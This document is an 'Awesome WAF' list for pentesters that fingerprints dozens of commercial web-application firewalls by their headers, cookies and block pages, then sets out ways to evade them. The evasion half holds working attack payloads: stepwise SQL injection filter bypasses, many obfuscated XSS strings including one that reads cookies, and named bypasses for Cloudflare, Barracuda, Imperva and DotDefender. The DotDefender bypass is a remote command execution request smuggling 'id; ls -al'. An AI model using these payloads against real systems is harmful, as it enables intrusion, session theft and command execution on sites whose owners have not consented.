Web-application firewalls (WAFs) from security standpoint.
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Awesome WAF Awesome

A curated list of awesome WAF stuff.

Foreword: This was originally my own collection on WAFs. I am making it public in the hope that it will be useful for pentesters and researchers out there. "The community just learns from each other." #SharingisCaring

Main Logo

A Concise Definition: A web application firewall is a form of firewall with a set of configured rules that controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls that do not meet the configured policy of the firewall. (Source Wikipedia)

Feel free to contribute.

Contents:

How WAFs Work:

  • Using a set of rules to distinguish between normal requests and malicious requests.
  • Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

  • Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. For example, if a number of IP addresses send a lot more packets than is typical for that many IP addresses being used to surf a website, a blacklisting firewall can effectively prevent DDoS attacks. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, because those targets can get a lot of legitimate web traffic from unfamiliar client machines. Eg. Block all <script>*</script> inputs.
  • Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for casting a wide metaphorical fishing net for blocking possible cyber-attacks, but just as fishing nets also catch a lot of matter that a fisherman can't sell, whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
  • Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.

Testing Methodology:

Where To Look:

  • Always look out for common ports that expose that a WAF 80, 443, 8000, 8008, 8080, 8088.

    Tip: You can use automate this easily by commandline using a screenshot taker like WebScreenShot.

  • Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
  • Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
  • Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, F5 Big IP).
  • Some (often rare) expose themselves in the Server header (eg. Approach, WTS WAF).
  • Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
  • Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).

Detection Techniques:

  1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies).
  2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
  3. If there is a login page somewhere, try some common (easily detectable) payloads like ' or 1 = 1 --.
  4. If there is some search box or input field somewhere, try detecting payloads like <script>alert()</script>.
  5. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
  6. Many a times, the WAF varies the Server header upon different types of interactions.
  7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

    Tip: This method could be easily achieved with tools like HPing3 or Scapy.

  8. Side Channel Attacks - Examine the timing behaviour of the request and response content.

WAF Detection

Wanna detect WAFs? Lets see how.

Note

: This section contains manual WAF detection techniques. You might want to switch over to next section.

360 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 493 upon unusual requests.
    • On viewing source-code of error page, you will find reference to wzws-waf-cgi/ directory.
    • Source code may contain reference to wangshan.360.cn URL.
    • Response headers contain X-Powered-By-360WZB Header.
aeSecure
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains aesecure_denied.png image (view source to see).
    • Response headers contain aeSecure-code value.
Airlock (Phion/Ergon)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers may contain AL-SESS={some value} value (case insensitive).
    • Response headers may contain AL-LB={some value} value (case insensitive).
Anquanbao WAF
  • Detectability: Easy
  • Detection Methodology:
    • Returns blocked HTTP response code 405 upon malicious requests.
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
    • Response headers contain X-Powered-by-Anquanbao header field.
Armor Defense
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains warning
      This request has been blocked by website protection from Armor.
Application Security Manager (F5 Networks)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
Approach Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Approach Web Application Firewall text.
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
      • Sorry for the inconvenience! keyword.
      • If this was an legitimate request please contact us with details! text.
    • Server header has field value set to Approach Web Application Firewall.
Amazon AWS WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain AWS value.
    • Blocked response status code return 403 Forbidden response.
Yunjiasu WAF (Baidu)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Yunjiasu-ngnix value.
Barracuda WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
Bekchy (Faydata)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied text.
    • Blocked response page contains reference to https://bekchy.com/report.
BitNinja Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text.
BIG-IP ASM (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BinarySec WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain binarysec keyword value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain reference to BlockDos.net URL.
ChinaCache Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
    • Blocked response codes contain 400 Bad Request error upon malicious request.
ACE XML Gateway (Cisco)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers have ACE XML Gateway value.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content has Cloudbric and Malicious Code Detected texts.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
Cloudfront (Amazon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Error from cloudfront error upon malicious request.
Comodo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Protected by COMODO WAF value.
CrawlProtect (Jean-Denis Brun)
  • Detectability: Easy
  • Detection Methodology:
    • Response content contains value
      This site is protected by CrawlProtect.
GoDaddy Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
IBM WebSphere DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Deny-All Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Response headers might contain DOSarrest keyword.
dotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Expression Engine (EllisLab)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid POST Request in response content.
FortiWeb Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains value .fgd_icon keyword.
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Set-Cookie header has cookie field cookiesession1=.
GreyWizard Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      We've detected attempted attack or non standard traffic from your IP address text.
    • Blocked response page title contains Grey Wizard keyword.
    • Response headers contain greywizard keyword.
HyperGuard Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
Imperva SecureSphere
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses in response headers.
Immunify360 (CloudLinux Inc.)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain imunify360 keyword.
    • Response page contains:
      • Powered by Imunify360 text.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
ISAServer
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text
Janusec Application Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= in response headers.
    • Response headers have jiasule-WAF or jsl_tracking keywords.
    • Blocked response content has notice-jiasule keyword.
KnownSec Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain AkamaiGHost keyword.
Malcare (Inactiv)
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text.
      • Firewall powered by MalCare text.
ModSecurity (Trustwave)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text.
      • One or more things in your request were suspicious text.
      • rules of the mod_security module text.
    • Response headers may contain Mod_Security or NYOB keywords.
NAXSI (NBS Systems)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
Netcontinuum (Barracuda)
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NinjaFirewall (NinTechNet)
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text.
      • NinjaFirewall keyword.
    • Returns a 403 Forbidden response upon malicious requests.
NetScaler (Citrix)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NewDefend Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain newdefend keyword.
NSFocus Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain NSFocus keyword.
onMessage Shield (Blackbaud)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unusual header X-Engine field with value onMessage Shield.
    • Response page may contain onMessage SHIELD keyword.
    • You might encounter response page with
      This site is protected by an enhanced security system to ensure a safe browsing experience.
Palo Alto Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains the following text
      has been blocked in accordance with company policy.
PerimeterX Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
Profense Firewall
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Response headers may contain Profense keyword.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text:
      Unauthorized Activity Has Been Detected. and Case Number text.
    • Response headers may contain X-SL-CompState header field name.
Reblaze Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain rbzid= header field name.
    • Response headers field values might contain Reblaze Secure Web Gateway text.
Request Validation Mode (ASP.NET)
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall (RSJoomla)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Safe3 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Safe3 keyword.
SafeDog Firewall
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Response headers may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecureIIS (BeyondTrust)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text:
      • SecureIIS Web Server Protection.
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • subject={somevalue} SecureIIS Error text.
SEnginx (Neusoft)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      Something in the URL, Form or Cookie data wasn't appropriate text.
SiteGround Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text.
      • The server refuse to browse the page. text
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • SiteLock Incident ID text.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall (Dell)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain SonicWALL keyword value.
    • Blocked response page contains either of the following text:
      • This request is blocked by the SonicWALL.
      • #shd or #nsa_banner hashtags.
      • Web Site Blocked text.
Sophos UTM Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text:
      • BRICK-50 keyword.
      • 404 Not Found text.
StackPath (StackPath LLC)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray (RiverBed/Brocade)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy values.
    • Blocked response page contains the following text:
      • Access Denied and Sucuri Website Firewall texts.
      • Email cloudproxy@sucuri.net.
    • Returns 403 Forbidden response code upon blocking.
Tencent Cloud WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
TrafficShield (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response headers.
URLMaster SecurityCheck (iFinity/DotNetNuke)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text.
URLScan (Microsoft)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain Rejected-by-URLScan field value.
    • Blocked response page contains Rejected-by-URLScan text.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains Request rejected by xVarnish-WAF text.
    • Malicious request returns 404 Not Found Error.
VirusDie Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

        text.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm (Nginx)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain nginx-wallarm text.
WatchGuard Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain WatchGuard header field value.
WebKnight (Aqtronix)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text.
    • Blocked response code returned is 999 No Hacking. :p
WP Cerber Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
Yundun Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Headers contain the yundun keyword.
Yunsuo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to .yunsuologo.
    • Response headers contain the yunsuo_session field name.
ZenEdge Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to zenedge/assets/ directory.
    • Headers contain the ZENEDGE keyword.

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

  • Wordlists specifically for fuzzing - Seclists Fuzzing.
  • Can be done with automated tools like BurpSuite Intruder.

Technique:

  • Load up your wordlist into Burp Intruder/custom fuzzer and start the bruteforce.
  • Record/log all responses from the different payloads fuzzed.
  • Use random user-agents, ranging from Chrome Desktop to iPhone browser.
  • If blocking noticed, increase fuzz latency (eg. 2-4 secs)
  • Always use proxies, since chances are real that your IP gets blocked.

Drawback:

  • This method often fails.
  • Many a times your IP will be blocked (temporarily/permanently).

Regex-Reversing:

Method:

  • Most efficient method of bypassing WAFs.
  • Some WAFs rely upon matching the attack payloads with the signatures in their databases.
  • Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Keyword Filter Detection/Bypass

SQL Injection

• Step 1:

Keyword filer: and, or, union
Possible PHP Filter Code: preg_match('/(and|or|union)/i', $id)

  • Filtered Injection: union select user, password from users
  • Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2:

Keyword filer: and, or, union, where
Possible PHP Filter Code: preg_match('/(and|or|union|where)/i', $id)

  • Filtered Injection: 1 || (select user from users where user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
• Step 3:

Keyword filer: and, or, union, where, limit
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit)/i', $id)

  • Filtered Injection: 1 || (select user from users limit 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:

Keyword filer: and, or, union, where, limit, group by
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by)/i', $id)

  • Filtered Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:

Keyword filer: and, or, union, where, limit, group by, select
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

  • Filtered Injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
  • Bypassed Injection: 1 || substr(user,1,1) = 'a'
• Step 6:

Keyword filer: and, or, union, where, limit, group by, select, '
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

  • Filtered Injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || user_id is not null
  • Bypassed Injection: 1 || substr(user,1,1) = 0x61
  • Bypassed Injection: 1 || substr(user,1,1) = unhex(61)
• Step 7:

Keyword filer: and, or, union, where, limit, group by, select, ', hex
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

  • Filtered Injection: 1 || substr(user,1,1) = unhex(61)
  • Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Step 8:

Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

  • Filtered Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Bypassed Injection: 1 || lpad(user,7,1)
• Step 9:

Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space
Possible PHP Filter Code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

  • Filtered Injection: 1 || lpad(user,7,1)
  • Bypassed Injection: 1%0b||%0blpad(user,7,1)

Scenario 2: Cross Site Scripting

Step 1:
  • Normal deliberate test:
<script>alert()</script>
  • Checking if the firewall is blocking only lowercase:
<sCRipT>alert(1)</sCRiPt>
  • Breaking firewall regex with new line (\r\n):
<script>
alert(1)</script>
  • Bypass trial with hex notation:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3B%3C%2F%73%63%72%69%70%74%3E
  • Bypass trials with ECMAScript6 variation:
<svg><script>alert&DiacriticalGrave;1&DiacriticalGrave;</p>
<svg><script>alert`1`   
  • Testing for recursive filters:
<scr<script>ipt>alert(1);</scr</script>ipt>
  • Bypass trials with anchor tags without whitespaces:
<a/href=”j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;”>
  • Bypass trial with HTML encoded notation:
&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3B;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
  • Bypass trial with unicode encoding:
script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert(1)"></script a=\u0061 & /=%2F
  • Bypass trial via overflow technique:
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab; &Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab; &Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab; &Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> 

Browser Bugs:

Charset Bugs:

  • We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
  • When the site decodes the string, the payload gets triggered.

Example request:

    GET /page.php?param=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
    Host: site.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
    Accept-Charset:utf-32, iso-8859-1;q=0.5
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is utf-8, it will be rendered as: "<script>alert (1) </ script>.

Final URL encoded payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null Bytes:

  • The null bytes are commonly used as string terminator.
  • This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Parsing Bugs:

  • RFC states that NodeNames cannot begin with whitespace.
  • But we can use special chars like %, //, !, ?, etc.

Examples:

  • <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
  • <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
  • <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

  • Every browser has their own specific charset of separators.
  • We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.

Here is a compiled list of separators:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Google Dorks Approach:

Method:

  • There are a lot of known bypasses of various web application firewalls (see section).
  • With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

  • Normal search:
    +<wafname> waf bypass

  • Searching for specific version exploits:
    "<wafname> <version>" (bypass|exploit)

  • For specific type bypass exploits:
    "<wafname>" +<bypass type> (bypass|exploit)

  • On Exploit DB:
    site:exploit-db.com +<wafname> bypass

  • On 0Day Inject0r DB:
    site:0day.today +<wafname> <type> (bypass|exploit)

  • On Twitter:
    site:twitter.com +<wafname> bypass

  • On Pastebin
    site:pastebin.com +<wafname> bypass

Known Bypasses:

Cloudflare

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

Barracuda

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

Imperva SecureSphere

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

DotDefender

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
  • Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al
